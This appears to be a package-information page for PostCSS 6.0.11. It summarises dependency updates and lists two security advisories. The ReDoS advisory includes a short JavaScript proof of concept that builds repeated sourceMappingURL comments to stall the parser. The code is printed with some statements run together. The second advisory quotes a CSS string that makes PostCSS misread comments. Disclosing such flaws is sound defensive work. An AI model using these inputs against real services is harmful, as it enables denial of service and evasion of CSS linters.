PostCSS version 6.0.11 introduces subtle improvements and dependency updates compared to its predecessor, 6.0.10, making it a worthwhile upgrade for developers leveraging this powerful CSS transformation tool. While the core functionality remains consistent, several development dependencies have been bumped to newer versions, potentially offering enhanced performance and bug fixes during the development process.
Specifically, jest moves from 20.0.4 to 21.0.1, eslint from 4.5.0 to 4.6.1, size-limit from 0.10.0 to 0.11.0, lint-staged receives a minor update from 4.0.4 to 4.1.0 and postcss-parser-tests jumps from 6.0.2 to 6.1.0. Support for color in terminal outputs has been updated too from 4.2.1 to 4.4.0 in supports-color dependency.
These updates suggest a focus on improved testing, linting, and code quality tooling, ultimately contributing to a more robust and maintainable codebase. For developers, this translates to a smoother development experience, with potentially fewer bugs and more efficient workflows when contributing to or extending PostCSS. While not a massive overhaul, the incremental changes in version 6.0.11 reflect an ongoing commitment to refining the developer experience and keeping the toolchain up-to-date.
All the vulnerabilities related to the version 6.0.11 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.